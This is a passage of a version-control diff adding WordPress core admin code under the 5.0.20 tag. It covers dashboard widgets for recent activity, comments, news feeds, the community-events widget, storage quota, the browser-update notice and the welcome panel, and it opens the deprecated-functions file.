+						'<span class="approve">' . __( '[Pending]' ) . '</span>'
+					);
+				}
+			?>
+			</p>
+			<p class="comment-author"><?php comment_author_link( $comment ); ?></p>
+
+			<?php endif; // comment_type ?>
+			<blockquote><p><?php comment_excerpt( $comment ); ?></p></blockquote>
+			<?php if ( $actions_string ) : ?>
+			<p class="row-actions"><?php echo $actions_string; ?></p>
+			<?php endif; ?>
+			</div>
+		</li>
+<?php
+	$GLOBALS['comment'] = null;
+}
+
+/**
+ * Callback function for Activity widget.
+ *
+ * @since 3.8.0
+ */
+function wp_dashboard_site_activity() {
+
+	echo '<div id="activity-widget">';
+
+	$future_posts = wp_dashboard_recent_posts( array(
+		'max'     => 5,
+		'status'  => 'future',
+		'order'   => 'ASC',
+		'title'   => __( 'Publishing Soon' ),
+		'id'      => 'future-posts',
+	) );
+	$recent_posts = wp_dashboard_recent_posts( array(
+		'max'     => 5,
+		'status'  => 'publish',
+		'order'   => 'DESC',
+		'title'   => __( 'Recently Published' ),
+		'id'      => 'published-posts',
+	) );
+
+	$recent_comments = wp_dashboard_recent_comments();
+
+	if ( !$future_posts && !$recent_posts && !$recent_comments ) {
+		echo '<div class="no-activity">';
+		echo '<p class="smiley" aria-hidden="true"></p>';
+		echo '<p>' . __( 'No activity yet!' ) . '</p>';
+		echo '</div>';
+	}
+
+	echo '</div>';
+}
+
+/**
+ * Generates Publishing Soon and Recently Published sections.
+ *
+ * @since 3.8.0
+ *
+ * @param array $args {
+ *     An array of query and display arguments.
+ *
+ *     @type int    $max     Number of posts to display.
+ *     @type string $status  Post status.
+ *     @type string $order   Designates ascending ('ASC') or descending ('DESC') order.
+ *     @type string $title   Section title.
+ *     @type string $id      The container id.
+ * }
+ * @return bool False if no posts were found. True otherwise.
+ */
+function wp_dashboard_recent_posts( $args ) {
+	$query_args = array(
+		'post_type'      => 'post',
+		'post_status'    => $args['status'],
+		'orderby'        => 'date',
+		'order'          => $args['order'],
+		'posts_per_page' => intval( $args['max'] ),
+		'no_found_rows'  => true,
+		'cache_results'  => false,
+		'perm'           => ( 'future' === $args['status'] ) ? 'editable' : 'readable',
+	);
+
+	/**
+	 * Filters the query arguments used for the Recent Posts widget.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param array $query_args The arguments passed to WP_Query to produce the list of posts.
+	 */
+	$query_args = apply_filters( 'dashboard_recent_posts_query_args', $query_args );
+	$posts = new WP_Query( $query_args );
+
+	if ( $posts->have_posts() ) {
+
+		echo '<div id="' . $args['id'] . '" class="activity-block">';
+
+		echo '<h3>' . $args['title'] . '</h3>';
+
+		echo '<ul>';
+
+		$today    = date( 'Y-m-d', current_time( 'timestamp' ) );
+		$tomorrow = date( 'Y-m-d', strtotime( '+1 day', current_time( 'timestamp' ) ) );
+
+		while ( $posts->have_posts() ) {
+			$posts->the_post();
+
+			$time = get_the_time( 'U' );
+			if ( date( 'Y-m-d', $time ) == $today ) {
+				$relative = __( 'Today' );
+			} elseif ( date( 'Y-m-d', $time ) == $tomorrow ) {
+				$relative = __( 'Tomorrow' );
+			} elseif ( date( 'Y', $time ) !== date( 'Y', current_time( 'timestamp' ) ) ) {
+				/* translators: date and time format for recent posts on the dashboard, from a different calendar year, see https://secure.php.net/date */
+				$relative = date_i18n( __( 'M jS Y' ), $time );
+			} else {
+				/* translators: date and time format for recent posts on the dashboard, see https://secure.php.net/date */
+				$relative = date_i18n( __( 'M jS' ), $time );
+			}
+
+			// Use the post edit link for those who can edit, the permalink otherwise.
+			$recent_post_link = current_user_can( 'edit_post', get_the_ID() ) ? get_edit_post_link() : get_permalink();
+
+			$draft_or_post_title = _draft_or_post_title();
+			printf(
+				'<li><span>%1$s</span> <a href="%2$s" aria-label="%3$s">%4$s</a></li>',
+				/* translators: 1: relative date, 2: time */
+				sprintf( _x( '%1$s, %2$s', 'dashboard' ), $relative, get_the_time() ),
+				$recent_post_link,
+				/* translators: %s: post title */
+				esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $draft_or_post_title ) ),
+				$draft_or_post_title
+			);
+		}
+
+		echo '</ul>';
+		echo '</div>';
+
+	} else {
+		return false;
+	}
+
+	wp_reset_postdata();
+
+	return true;
+}
+
+/**
+ * Show Comments section.
+ *
+ * @since 3.8.0
+ *
+ * @param int $total_items Optional. Number of comments to query. Default 5.
+ * @return bool False if no comments were found. True otherwise.
+ */
+function wp_dashboard_recent_comments( $total_items = 5 ) {
+	// Select all comment types and filter out spam later for better query performance.
+	$comments = array();
+
+	$comments_query = array(
+		'number' => $total_items * 5,
+		'offset' => 0
+	);
+	if ( ! current_user_can( 'edit_posts' ) )
+		$comments_query['status'] = 'approve';
+
+	while ( count( $comments ) < $total_items && $possible = get_comments( $comments_query ) ) {
+		if ( ! is_array( $possible ) ) {
+			break;
+		}
+		foreach ( $possible as $comment ) {
+			if ( ! current_user_can( 'read_post', $comment->comment_post_ID ) )
+				continue;
+			$comments[] = $comment;
+			if ( count( $comments ) == $total_items )
+				break 2;
+		}
+		$comments_query['offset'] += $comments_query['number'];
+		$comments_query['number'] = $total_items * 10;
+	}
+
+	if ( $comments ) {
+		echo '<div id="latest-comments" class="activity-block">';
+		echo '<h3>' . __( 'Recent Comments' ) . '</h3>';
+
+		echo '<ul id="the-comment-list" data-wp-lists="list:comment">';
+		foreach ( $comments as $comment ) {
+			$comment_post = get_post( $comment->comment_post_ID );
+			if (
+				current_user_can( 'edit_post', $comment->comment_post_ID ) ||
+				(
+					empty( $comment_post->post_password ) &&
+					current_user_can( 'read_post', $comment->comment_post_ID )
+				)
+			) {
+				_wp_dashboard_recent_comments_row( $comment );
+			}
+		}
+		echo '</ul>';
+
+		if ( current_user_can( 'edit_posts' ) ) {
+			echo '<h3 class="screen-reader-text">' . __( 'View more comments' ) . '</h3>';
+			_get_list_table( 'WP_Comments_List_Table' )->views();
+		}
+
+		wp_comment_reply( -1, false, 'dashboard', false );
+		wp_comment_trashnotice();
+
+		echo '</div>';
+	} else {
+		return false;
+	}
+	return true;
+}
+
+/**
+ * Display generic dashboard RSS widget feed.
+ *
+ * @since 2.5.0
+ *
+ * @param string $widget_id
+ */
+function wp_dashboard_rss_output( $widget_id ) {
+	$widgets = get_option( 'dashboard_widget_options' );
+	echo '<div class="rss-widget">';
+	wp_widget_rss_output( $widgets[ $widget_id ] );
+	echo "</div>";
+}
+
+/**
+ * Checks to see if all of the feed url in $check_urls are cached.
+ *
+ * If $check_urls is empty, look for the rss feed url found in the dashboard
+ * widget options of $widget_id. If cached, call $callback, a function that
+ * echoes out output for this widget. If not cache, echo a "Loading..." stub
+ * which is later replaced by Ajax call (see top of /wp-admin/index.php)
+ *
+ * @since 2.5.0
+ *
+ * @param string $widget_id
+ * @param callable $callback
+ * @param array $check_urls RSS feeds
+ * @return bool False on failure. True on success.
+ */
+function wp_dashboard_cached_rss_widget( $widget_id, $callback, $check_urls = array() ) {
+	$loading = '<p class="widget-loading hide-if-no-js">' . __( 'Loading&#8230;' ) . '</p><div class="hide-if-js notice notice-error inline"><p>' . __( 'This widget requires JavaScript.' ) . '</p></div>';
+	$doing_ajax = wp_doing_ajax();
+
+	if ( empty($check_urls) ) {
+		$widgets = get_option( 'dashboard_widget_options' );
+		if ( empty($widgets[$widget_id]['url']) && ! $doing_ajax ) {
+			echo $loading;
+			return false;
+		}
+		$check_urls = array( $widgets[$widget_id]['url'] );
+	}
+
+	$locale = get_user_locale();
+	$cache_key = 'dash_v2_' . md5( $widget_id . '_' . $locale );
+	if ( false !== ( $output = get_transient( $cache_key ) ) ) {
+		echo $output;
+		return true;
+	}
+
+	if ( ! $doing_ajax ) {
+		echo $loading;
+		return false;
+	}
+
+	if ( $callback && is_callable( $callback ) ) {
+		$args = array_slice( func_get_args(), 3 );
+		array_unshift( $args, $widget_id, $check_urls );
+		ob_start();
+		call_user_func_array( $callback, $args );
+		set_transient( $cache_key, ob_get_flush(), 12 * HOUR_IN_SECONDS ); // Default lifetime in cache of 12 hours (same as the feeds)
+	}
+
+	return true;
+}
+
+//
+// Dashboard Widgets Controls
+//
+
+/**
+ * Calls widget control callback.
+ *
+ * @since 2.5.0
+ *
+ * @global array $wp_dashboard_control_callbacks
+ *
+ * @param int $widget_control_id Registered Widget ID.
+ */
+function wp_dashboard_trigger_widget_control( $widget_control_id = false ) {
+	global $wp_dashboard_control_callbacks;
+
+	if ( is_scalar($widget_control_id) && $widget_control_id && isset($wp_dashboard_control_callbacks[$widget_control_id]) && is_callable($wp_dashboard_control_callbacks[$widget_control_id]) ) {
+		call_user_func( $wp_dashboard_control_callbacks[$widget_control_id], '', array( 'id' => $widget_control_id, 'callback' => $wp_dashboard_control_callbacks[$widget_control_id] ) );
+	}
+}
+
+/**
+ * The RSS dashboard widget control.
+ *
+ * Sets up $args to be used as input to wp_widget_rss_form(). Handles POST data
+ * from RSS-type widgets.
+ *
+ * @since 2.5.0
+ *
+ * @param string $widget_id
+ * @param array $form_inputs
+ */
+function wp_dashboard_rss_control( $widget_id, $form_inputs = array() ) {
+	if ( !$widget_options = get_option( 'dashboard_widget_options' ) )
+		$widget_options = array();
+
+	if ( !isset($widget_options[$widget_id]) )
+		$widget_options[$widget_id] = array();
+
+	$number = 1; // Hack to use wp_widget_rss_form()
+	$widget_options[$widget_id]['number'] = $number;
+
+	if ( 'POST' == $_SERVER['REQUEST_METHOD'] && isset($_POST['widget-rss'][$number]) ) {
+		$_POST['widget-rss'][$number] = wp_unslash( $_POST['widget-rss'][$number] );
+		$widget_options[$widget_id] = wp_widget_rss_process( $_POST['widget-rss'][$number] );
+		$widget_options[$widget_id]['number'] = $number;
+
+		// Title is optional. If black, fill it if possible.
+		if ( !$widget_options[$widget_id]['title'] && isset($_POST['widget-rss'][$number]['title']) ) {
+			$rss = fetch_feed($widget_options[$widget_id]['url']);
+			if ( is_wp_error($rss) ) {
+				$widget_options[$widget_id]['title'] = htmlentities(__('Unknown Feed'));
+			} else {
+				$widget_options[$widget_id]['title'] = htmlentities(strip_tags($rss->get_title()));
+				$rss->__destruct();
+				unset($rss);
+			}
+		}
+		update_option( 'dashboard_widget_options', $widget_options );
+		$locale = get_user_locale();
+		$cache_key = 'dash_v2_' . md5( $widget_id . '_' . $locale );
+		delete_transient( $cache_key );
+	}
+
+	wp_widget_rss_form( $widget_options[$widget_id], $form_inputs );
+}
+
+
+/**
+ * Renders the Events and News dashboard widget.
+ *
+ * @since 4.8.0
+ */
+function wp_dashboard_events_news() {
+	wp_print_community_events_markup();
+
+	?>
+
+	<div class="wordpress-news hide-if-no-js">
+		<?php wp_dashboard_primary(); ?>
+	</div>
+
+	<p class="community-events-footer">
+		<?php
+			printf(
+				'<a href="%1$s" target="_blank">%2$s <span class="screen-reader-text">%3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
+				'https://make.wordpress.org/community/meetups-landing-page',
+				__( 'Meetups' ),
+				/* translators: accessibility text */
+				__( '(opens in a new window)' )
+			);
+		?>
+
+		|
+
+		<?php
+			printf(
+				'<a href="%1$s" target="_blank">%2$s <span class="screen-reader-text">%3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
+				'https://central.wordcamp.org/schedule/',
+				__( 'WordCamps' ),
+				/* translators: accessibility text */
+				__( '(opens in a new window)' )
+			);
+		?>
+
+		|
+
+		<?php
+			printf(
+				'<a href="%1$s" target="_blank">%2$s <span class="screen-reader-text">%3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
+				/* translators: If a Rosetta site exists (e.g. https://es.wordpress.org/news/), then use that. Otherwise, leave untranslated. */
+				esc_url( _x( 'https://wordpress.org/news/', 'Events and News dashboard widget' ) ),
+				__( 'News' ),
+				/* translators: accessibility text */
+				__( '(opens in a new window)' )
+			);
+		?>
+	</p>
+
+	<?php
+}
+
+/**
+ * Prints the markup for the Community Events section of the Events and News Dashboard widget.
+ *
+ * @since 4.8.0
+ */
+function wp_print_community_events_markup() {
+	?>
+
+	<div class="community-events-errors notice notice-error inline hide-if-js">
+		<p class="hide-if-js">
+			<?php _e( 'This widget requires JavaScript.' ); ?>
+		</p>
+
+		<p class="community-events-error-occurred" aria-hidden="true">
+			<?php _e( 'An error occurred. Please try again.' ); ?>
+		</p>
+
+		<p class="community-events-could-not-locate" aria-hidden="true"></p>
+	</div>
+
+	<div class="community-events-loading hide-if-no-js">
+		<?php _e( 'Loading&hellip;' ); ?>
+	</div>
+
+	<?php
+	/*
+	 * Hide the main element when the page first loads, because the content
+	 * won't be ready until wp.communityEvents.renderEventsTemplate() has run.
+	 */
+	?>
+	<div id="community-events" class="community-events" aria-hidden="true">
+		<div class="activity-block">
+			<p>
+				<span id="community-events-location-message"></span>
+
+				<button class="button-link community-events-toggle-location" aria-label="<?php esc_attr_e( 'Edit city' ); ?>" aria-expanded="false">
+					<span class="dashicons dashicons-edit"></span>
+				</button>
+			</p>
+
+			<form class="community-events-form" aria-hidden="true" action="<?php echo esc_url( admin_url( 'admin-ajax.php' ) ); ?>" method="post">
+				<label for="community-events-location">
+					<?php _e( 'City:' ); ?>
+				</label>
+				<?php
+				/* translators: Replace with a city related to your locale.
+				 * Test that it matches the expected location and has upcoming
+				 * events before including it. If no cities related to your
+				 * locale have events, then use a city related to your locale
+				 * that would be recognizable to most users. Use only the city
+				 * name itself, without any region or country. Use the endonym
+				 * (native locale name) instead of the English name if possible.
+				 */
+				?>
+				<input id="community-events-location" class="regular-text" type="text" name="community-events-location" placeholder="<?php esc_attr_e( 'Cincinnati' ); ?>" />
+
+				<?php submit_button( __( 'Submit' ), 'secondary', 'community-events-submit', false ); ?>
+
+				<button class="community-events-cancel button-link" type="button" aria-expanded="false">
+					<?php _e( 'Cancel' ); ?>
+				</button>
+
+				<span class="spinner"></span>
+			</form>
+		</div>
+
+		<ul class="community-events-results activity-block last"></ul>
+	</div>
+
+	<?php
+}
+
+/**
+ * Renders the events templates for the Event and News widget.
+ *
+ * @since 4.8.0
+ */
+function wp_print_community_events_templates() {
+	?>
+
+	<script id="tmpl-community-events-attend-event-near" type="text/template">
+		<?php printf(
+			/* translators: %s: the name of a city */
+			__( 'Attend an upcoming event near %s.' ),
+			'<strong>{{ data.location.description }}</strong>'
+		); ?>
+	</script>
+
+	<script id="tmpl-community-events-could-not-locate" type="text/template">
+		<?php printf(
+			/* translators: %s is the name of the city we couldn't locate.
+			 * Replace the examples with cities in your locale, but test
+			 * that they match the expected location before including them.
+			 * Use endonyms (native locale names) whenever possible.
+			 */
+			__( 'We couldn&#8217;t locate %s. Please try another nearby city. For example: Kansas City; Springfield; Portland.' ),
+			'<em>{{data.unknownCity}}</em>'
+		); ?>
+	</script>
+
+	<script id="tmpl-community-events-event-list" type="text/template">
+		<# _.each( data.events, function( event ) { #>
+			<li class="event event-{{ event.type }} wp-clearfix">
+				<div class="event-info">
+					<div class="dashicons event-icon" aria-hidden="true"></div>
+					<div class="event-info-inner">
+						<a class="event-title" href="{{ event.url }}">{{ event.title }}</a>
+						<span class="event-city">{{ event.location.location }}</span>
+					</div>
+				</div>
+
+				<div class="event-date-time">
+					<span class="event-date">{{ event.formatted_date }}</span>
+					<# if ( 'meetup' === event.type ) { #>
+						<span class="event-time">{{ event.formatted_time }}</span>
+					<# } #>
+				</div>
+			</li>
+		<# } ) #>
+	</script>
+
+	<script id="tmpl-community-events-no-upcoming-events" type="text/template">
+		<li class="event-none">
+			<# if ( data.location.description ) { #>
+				<?php printf(
+					/* translators: 1: the city the user searched for, 2: meetup organization documentation URL */
+					__( 'There aren&#8217;t any events scheduled near %1$s at the moment. Would you like to <a href="%2$s">organize one</a>?' ),
+					'{{ data.location.description }}',
+					__( 'https://make.wordpress.org/community/handbook/meetup-organizer/welcome/' )
+				); ?>
+
+			<# } else { #>
+				<?php printf(
+					/* translators: %s: meetup organization documentation URL */
+					__( 'There aren&#8217;t any events scheduled near you at the moment. Would you like to <a href="%s">organize one</a>?' ),
+					__( 'https://make.wordpress.org/community/handbook/meetup-organizer/welcome/' )
+				); ?>
+			<# } #>
+		</li>
+	</script>
+	<?php
+}
+
+/**
+ * WordPress News dashboard widget.
+ *
+ * @since 2.7.0
+ * @since 4.8.0 Removed popular plugins feed.
+ */
+function wp_dashboard_primary() {
+	$feeds = array(
+		'news' => array(
+
+			/**
+			 * Filters the primary link URL for the 'WordPress News' dashboard widget.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string $link The widget's primary link URL.
+			 */
+			'link' => apply_filters( 'dashboard_primary_link', __( 'https://wordpress.org/news/' ) ),
+
+			/**
+			 * Filters the primary feed URL for the 'WordPress News' dashboard widget.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param string $url The widget's primary feed URL.
+			 */
+			'url' => apply_filters( 'dashboard_primary_feed', __( 'http://wordpress.org/news/feed/' ) ),
+
+			/**
+			 * Filters the primary link title for the 'WordPress News' dashboard widget.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param string $title Title attribute for the widget's primary link.
+			 */
+			'title'        => apply_filters( 'dashboard_primary_title', __( 'WordPress Blog' ) ),
+			'items'        => 1,
+			'show_summary' => 0,
+			'show_author'  => 0,
+			'show_date'    => 0,
+		),
+		'planet' => array(
+
+			/**
+			 * Filters the secondary link URL for the 'WordPress News' dashboard widget.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param string $link The widget's secondary link URL.
+			 */
+			'link' => apply_filters( 'dashboard_secondary_link', __( 'https://planet.wordpress.org/' ) ),
+
+			/**
+			 * Filters the secondary feed URL for the 'WordPress News' dashboard widget.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param string $url The widget's secondary feed URL.
+			 */
+			'url' => apply_filters( 'dashboard_secondary_feed', __( 'https://planet.wordpress.org/feed/' ) ),
+
+			/**
+			 * Filters the secondary link title for the 'WordPress News' dashboard widget.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param string $title Title attribute for the widget's secondary link.
+			 */
+			'title'        => apply_filters( 'dashboard_secondary_title', __( 'Other WordPress News' ) ),
+
+			/**
+			 * Filters the number of secondary link items for the 'WordPress News' dashboard widget.
+			 *
+			 * @since 4.4.0
+			 *
+			 * @param string $items How many items to show in the secondary feed.
+			 */
+			'items'        => apply_filters( 'dashboard_secondary_items', 3 ),
+			'show_summary' => 0,
+			'show_author'  => 0,
+			'show_date'    => 0,
+		)
+	);
+
+	wp_dashboard_cached_rss_widget( 'dashboard_primary', 'wp_dashboard_primary_output', $feeds );
+}
+
+/**
+ * Display the WordPress news feeds.
+ *
+ * @since 3.8.0
+ * @since 4.8.0 Removed popular plugins feed.
+ *
+ * @param string $widget_id Widget ID.
+ * @param array  $feeds     Array of RSS feeds.
+ */
+function wp_dashboard_primary_output( $widget_id, $feeds ) {
+	foreach ( $feeds as $type => $args ) {
+		$args['type'] = $type;
+		echo '<div class="rss-widget">';
+			wp_widget_rss_output( $args['url'], $args );
+		echo "</div>";
+	}
+}
+
+/**
+ * Display file upload quota on dashboard.
+ *
+ * Runs on the {@see 'activity_box_end'} hook in wp_dashboard_right_now().
+ *
+ * @since 3.0.0
+ *
+ * @return bool|null True if not multisite, user can't upload files, or the space check option is disabled.
+ */
+function wp_dashboard_quota() {
+	if ( !is_multisite() || !current_user_can( 'upload_files' ) || get_site_option( 'upload_space_check_disabled' ) )
+		return true;
+
+	$quota = get_space_allowed();
+	$used = get_space_used();
+
+	if ( $used > $quota )
+		$percentused = '100';
+	else
+		$percentused = ( $used / $quota ) * 100;
+	$used_class = ( $percentused >= 70 ) ? ' warning' : '';
+	$used = round( $used, 2 );
+	$percentused = number_format( $percentused );
+
+	?>
+	<h3 class="mu-storage"><?php _e( 'Storage Space' ); ?></h3>
+	<div class="mu-storage">
+	<ul>
+		<li class="storage-count">
+			<?php $text = sprintf(
+				/* translators: %s: number of megabytes */
+				__( '%s MB Space Allowed' ),
+				number_format_i18n( $quota )
+			);
+			printf(
+				'<a href="%1$s">%2$s <span class="screen-reader-text">(%3$s)</span></a>',
+				esc_url( admin_url( 'upload.php' ) ),
+				$text,
+				__( 'Manage Uploads' )
+			); ?>
+		</li><li class="storage-count <?php echo $used_class; ?>">
+			<?php $text = sprintf(
+				/* translators: 1: number of megabytes, 2: percentage */
+				__( '%1$s MB (%2$s%%) Space Used' ),
+				number_format_i18n( $used, 2 ),
+				$percentused
+			);
+			printf(
+				'<a href="%1$s" class="musublink">%2$s <span class="screen-reader-text">(%3$s)</span></a>',
+				esc_url( admin_url( 'upload.php' ) ),
+				$text,
+				__( 'Manage Uploads' )
+			); ?>
+		</li>
+	</ul>
+	</div>
+	<?php
+}
+
+// Display Browser Nag Meta Box
+function wp_dashboard_browser_nag() {
+	$notice = '';
+	$response = wp_check_browser_version();
+
+	if ( $response ) {
+		if ( $response['insecure'] ) {
+			/* translators: %s: browser name and link */
+			$msg = sprintf( __( "It looks like you're using an insecure version of %s. Using an outdated browser makes your computer unsafe. For the best WordPress experience, please update your browser." ),
+				sprintf( '<a href="%s">%s</a>', esc_url( $response['update_url'] ), esc_html( $response['name'] ) )
+			);
+		} else {
+			/* translators: %s: browser name and link */
+			$msg = sprintf( __( "It looks like you're using an old version of %s. For the best WordPress experience, please update your browser." ),
+				sprintf( '<a href="%s">%s</a>', esc_url( $response['update_url'] ), esc_html( $response['name'] ) )
+			);
+		}
+
+		$browser_nag_class = '';
+		if ( !empty( $response['img_src'] ) ) {
+			$img_src = ( is_ssl() && ! empty( $response['img_src_ssl'] ) )? $response['img_src_ssl'] : $response['img_src'];
+
+			$notice .= '<div class="alignright browser-icon"><a href="' . esc_attr($response['update_url']) . '"><img src="' . esc_attr( $img_src ) . '" alt="" /></a></div>';
+			$browser_nag_class = ' has-browser-icon';
+		}
+		$notice .= "<p class='browser-update-nag{$browser_nag_class}'>{$msg}</p>";
+
+		$browsehappy = 'https://browsehappy.com/';
+		$locale = get_user_locale();
+		if ( 'en_US' !== $locale )
+			$browsehappy = add_query_arg( 'locale', $locale, $browsehappy );
+
+		$notice .= '<p>' . sprintf( __( '<a href="%1$s" class="update-browser-link">Update %2$s</a> or learn how to <a href="%3$s" class="browse-happy-link">browse happy</a>' ), esc_attr( $response['update_url'] ), esc_html( $response['name'] ), esc_url( $browsehappy ) ) . '</p>';
+		$notice .= '<p class="hide-if-no-js"><a href="" class="dismiss" aria-label="' . esc_attr__( 'Dismiss the browser warning panel' ) . '">' . __( 'Dismiss' ) . '</a></p>';
+		$notice .= '<div class="clear"></div>';
+	}
+
+	/**
+	* Filters the notice output for the 'Browse Happy' nag meta box.
+	*
+	* @since 3.2.0
+	*
+	* @param string $notice   The notice content.
+	* @param array  $response An array containing web browser information.
+	*/
+	echo apply_filters( 'browse-happy-notice', $notice, $response );
+}
+
+/**
+ * @since 3.2.0
+ *
+ * @param array $classes
+ * @return array
+ */
+function dashboard_browser_nag_class( $classes ) {
+	$response = wp_check_browser_version();
+
+	if ( $response && $response['insecure'] )
+		$classes[] = 'browser-insecure';
+
+	return $classes;
+}
+
+/**
+ * Check if the user needs a browser update
+ *
+ * @since 3.2.0
+ *
+ * @return array|bool False on failure, array of browser data on success.
+ */
+function wp_check_browser_version() {
+	if ( empty( $_SERVER['HTTP_USER_AGENT'] ) )
+		return false;
+
+	$key = md5( $_SERVER['HTTP_USER_AGENT'] );
+
+	if ( false === ($response = get_site_transient('browser_' . $key) ) ) {
+		// include an unmodified $wp_version
+		include( ABSPATH . WPINC . '/version.php' );
+
+		$url = 'http://api.wordpress.org/core/browse-happy/1.1/';
+		$options = array(
+			'body'       => array( 'useragent' => $_SERVER['HTTP_USER_AGENT'] ),
+			'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' )
+		);
+
+		if ( wp_http_supports( array( 'ssl' ) ) ) {
+			$url = set_url_scheme( $url, 'https' );
+		}
+
+		$response = wp_remote_post( $url, $options );
+
+		if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) )
+			return false;
+
+		/**
+		 * Response should be an array with:
+		 *  'platform' - string - A user-friendly platform name, if it can be determined
+		 *  'name' - string - A user-friendly browser name
+		 *  'version' - string - The version of the browser the user is using
+		 *  'current_version' - string - The most recent version of the browser
+		 *  'upgrade' - boolean - Whether the browser needs an upgrade
+		 *  'insecure' - boolean - Whether the browser is deemed insecure
+		 *  'update_url' - string - The url to visit to upgrade
+		 *  'img_src' - string - An image representing the browser
+		 *  'img_src_ssl' - string - An image (over SSL) representing the browser
+		 */
+		$response = json_decode( wp_remote_retrieve_body( $response ), true );
+
+		if ( ! is_array( $response ) )
+			return false;
+
+		set_site_transient( 'browser_' . $key, $response, WEEK_IN_SECONDS );
+	}
+
+	return $response;
+}
+
+/**
+ * Empty function usable by plugins to output empty dashboard widget (to be populated later by JS).
+ */
+function wp_dashboard_empty() {}
+
+/**
+ * Displays a welcome panel to introduce users to WordPress.
+ *
+ * @since 3.3.0
+ */
+function wp_welcome_panel() {
+	?>
+	<div class="welcome-panel-content">
+	<h2><?php _e( 'Welcome to WordPress!' ); ?></h2>
+	<p class="about-description"><?php _e( 'We&#8217;ve assembled some links to get you started:' ); ?></p>
+	<div class="welcome-panel-column-container">
+	<div class="welcome-panel-column">
+		<?php if ( current_user_can( 'customize' ) ) : ?>
+			<h3><?php _e( 'Get Started' ); ?></h3>
+			<a class="button button-primary button-hero load-customize hide-if-no-customize" href="<?php echo wp_customize_url(); ?>"><?php _e( 'Customize Your Site' ); ?></a>
+		<?php endif; ?>
+		<a class="button button-primary button-hero hide-if-customize" href="<?php echo admin_url( 'themes.php' ); ?>"><?php _e( 'Customize Your Site' ); ?></a>
+		<?php if ( current_user_can( 'install_themes' ) || ( current_user_can( 'switch_themes' ) && count( wp_get_themes( array( 'allowed' => true ) ) ) > 1 ) ) : ?>
+			<?php $themes_link = current_user_can( 'customize' ) ? add_query_arg( 'autofocus[panel]', 'themes', admin_url( 'customize.php' ) ) : admin_url( 'themes.php' ); ?>
+			<p class="hide-if-no-customize"><?php printf( __( 'or, <a href="%s">change your theme completely</a>' ), $themes_link ); ?></p>
+		<?php endif; ?>
+	</div>
+	<div class="welcome-panel-column">
+		<h3><?php _e( 'Next Steps' ); ?></h3>
+		<ul>
+		<?php if ( 'page' == get_option( 'show_on_front' ) && ! get_option( 'page_for_posts' ) ) : ?>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-edit-page">' . __( 'Edit your front page' ) . '</a>', get_edit_post_link( get_option( 'page_on_front' ) ) ); ?></li>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-add-page">' . __( 'Add additional pages' ) . '</a>', admin_url( 'post-new.php?post_type=page' ) ); ?></li>
+		<?php elseif ( 'page' == get_option( 'show_on_front' ) ) : ?>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-edit-page">' . __( 'Edit your front page' ) . '</a>', get_edit_post_link( get_option( 'page_on_front' ) ) ); ?></li>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-add-page">' . __( 'Add additional pages' ) . '</a>', admin_url( 'post-new.php?post_type=page' ) ); ?></li>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-write-blog">' . __( 'Add a blog post' ) . '</a>', admin_url( 'post-new.php' ) ); ?></li>
+		<?php else : ?>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-write-blog">' . __( 'Write your first blog post' ) . '</a>', admin_url( 'post-new.php' ) ); ?></li>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-add-page">' . __( 'Add an About page' ) . '</a>', admin_url( 'post-new.php?post_type=page' ) ); ?></li>
+		<?php endif; ?>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-view-site">' . __( 'View your site' ) . '</a>', home_url( '/' ) ); ?></li>
+		</ul>
+	</div>
+	<div class="welcome-panel-column welcome-panel-last">
+		<h3><?php _e( 'More Actions' ); ?></h3>
+		<ul>
+		<?php if ( current_theme_supports( 'widgets' ) || current_theme_supports( 'menus' ) ) : ?>
+			<li><div class="welcome-icon welcome-widgets-menus"><?php
+				if ( current_theme_supports( 'widgets' ) && current_theme_supports( 'menus' ) ) {
+					printf( __( 'Manage <a href="%1$s">widgets</a> or <a href="%2$s">menus</a>' ),
+						admin_url( 'widgets.php' ), admin_url( 'nav-menus.php' ) );
+				} elseif ( current_theme_supports( 'widgets' ) ) {
+					echo '<a href="' . admin_url( 'widgets.php' ) . '">' . __( 'Manage widgets' ) . '</a>';
+				} else {
+					echo '<a href="' . admin_url( 'nav-menus.php' ) . '">' . __( 'Manage menus' ) . '</a>';
+				}
+			?></div></li>
+		<?php endif; ?>
+		<?php if ( current_user_can( 'manage_options' ) ) : ?>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-comments">' . __( 'Turn comments on or off' ) . '</a>', admin_url( 'options-discussion.php' ) ); ?></li>
+		<?php endif; ?>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-learn-more">' . __( 'Learn more about getting started' ) . '</a>', __( 'https://codex.wordpress.org/First_Steps_With_WordPress' ) ); ?></li>
+		</ul>
+	</div>
+	</div>
+	</div>
+	<?php
+}
Index: /tags/5.0.20/src/wp-admin/includes/deprecated.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/deprecated.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/deprecated.php	(revision 56912)
@@ -0,0 +1,1516 @@
+<?php
+/**
+ * Deprecated admin functions from past WordPress versions. You shouldn't use these
+ * functions and look for the alternatives instead. The functions will be removed
+ * in a later version.
+ *
+ * @package WordPress
+ * @subpackage Deprecated
+ */
+
+/*
+ * Deprecated functions come here to die.
+ */
+
+/**
+ * @since 2.1.0
+ * @deprecated 2.1.0 Use wp_editor()
+ * @see wp_editor()
+ */
+function tinymce_include() {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_editor()' );
+
